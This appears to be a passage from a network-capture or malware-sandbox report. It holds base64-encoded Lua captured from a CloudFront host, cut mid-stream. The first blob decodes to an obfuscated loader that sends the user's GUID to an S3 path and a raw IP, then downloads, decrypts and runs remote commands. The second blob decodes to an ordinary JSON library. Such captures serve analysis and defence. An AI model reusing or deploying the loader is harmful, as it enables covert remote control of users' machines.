IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d271zaccbgpi7o.cloudfront.net (54.230.128.4:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
13 | /v2/tfn5306351516.html(12) | text/html | tfn5306351516.html(12) | 200 OK | TEXT | 46.2 KB | 11/11/02 23:08:39 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
